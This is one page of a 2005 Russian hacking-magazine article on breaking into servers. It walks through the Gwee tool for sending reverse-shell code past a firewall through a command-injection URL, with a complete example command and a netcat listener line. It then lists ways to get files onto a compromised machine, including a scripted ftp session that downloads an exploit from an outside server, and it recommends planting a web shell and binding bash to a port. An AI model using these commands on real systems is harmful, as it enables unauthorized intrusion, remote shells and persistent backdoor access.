Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Университетский хак

Александр Любимов aka Sashiks

Хакер, номер #079, стр. 079-050-5


[Gwee]

Gwee (Generic Web Exploitation Engine) — уникальная в своем роде программа, которая заливает реверсивный шелл-код на удаленный сервер, защищенный файрволом. Действительно удобный (и в некоторых случаях единственный) способ обхода брандмауэра. Ролик по использованию Gwee ты мог увидеть в «Хакере» №73, но все же я расскажу немного о нем. Во-первых, Gwee можно запускать как из-под Unix, так и из-под Windows. Основные флаги для использования Gwee:

-y указываем часть уязвимой строки ДО параметра |

-z часть строки ПОСЛЕ параметра |

-L встроенный TCP-слушатель портов. Короче говоря, если указать этот флаг, не нужно будет включать неткат (nc -vv -l -p31337)

-l адрес, к которому приконнектится реверсивный шелл-код.

Остальные параметры ты можешь изучить сам — я описал самые основные, именно они 100% понадобятся тебе для работы. К слову, еще для работы программы можно явно указать желаемый шелл-код, вид заливки, метод запросов (GET, POST) и т.д. Если у тебя возникнет какой-то вопрос по параметрам Gwee, смело обращайся ко мне за советом.

Иногда Gwee неправильно определяет локальный адрес или берет 127.0.0.1, поэтому его можно указать явно. Если же твой компьютер находится в локальной сети и обладает серым IP-адресом, из этой затеи ничего не выйдет, так как с тобой не сможет соединиться взломанный компьютер.

На первый взгляд, параметры программы кажутся непонятными и запутанными, но я сейчас приведу пример, и все станет на свои места. Допустим, есть уязвимый сайт www.fbi.com/cgi-bin/script.pl?file=|id|¶m=1.

Чтобы получить доступ к терминалу, запускаем Gwee следующим образом:

./gwee -y ' ?file= ' -z ' |¶m=1 ' -Lf -l наш_инет_адрес http://www.fbi.com/cgi-bin/script.pl

Еще одно: если ты запускаешь Gwee из-под Windows, то нужно использовать (обязательно) вместо одинарных кавычек «'» двойные «"».

[методы загрузки]

Как видишь, есть множество методов загрузки информации на целевую машину. Приведу некоторые из них:

1) Браузеры lynx(links). Можно скачать любой файл браузером: lynx www.ru/file.c

2) Качалки. Известно множество качалок под *nix, и если на машине нет wget, можно попробовать fetch, curl и другие.

3) WEB-shell(php, cgi). У большинства веб-шеллов есть возможность загрузки файлов на сервер.

4) Ftp. Ftp немного уступает по удобству всем вышеперечисленным методам. Тем более, если у тебя нет доступа к интерпретатору, то слить файл вряд ли получится: общаться с ftp-сервером необходимо в интерактивном режиме. Чтобы обойти это неудобство, можно записать все команды в файл, а потом запустить ftp-клиент, перенаправив файл с командами ему. Пример:

$echo 'user hacker pass' >ftp.txt

$echo 'get exploit.c /tmp/exploit.c' >>ftp.txt

$echo 'quit'>>/ftp.txt

$ftp -n ftp_server.ru <ftp.txt

5) Самопальные сценарии. Их примеры я уже приводил. Это обычно скрипты на интерпретируемых языках (например на том же Perl). Если ты знаешь еще какие-нибудь интересные (и нестандартные) методы заливки файлов, пиши — мне будет очень интересно узнать! В первую очередь рекомендую заливать именно веб-шелл, так как кроме выполнения команд (например привязка /bin/bash к порту) можно свободно скачивать/закачивать на сервер файло, что не может не радовать :).

Назад на стр. 079-050-4  Содержание  Вперед на стр. 079-050-6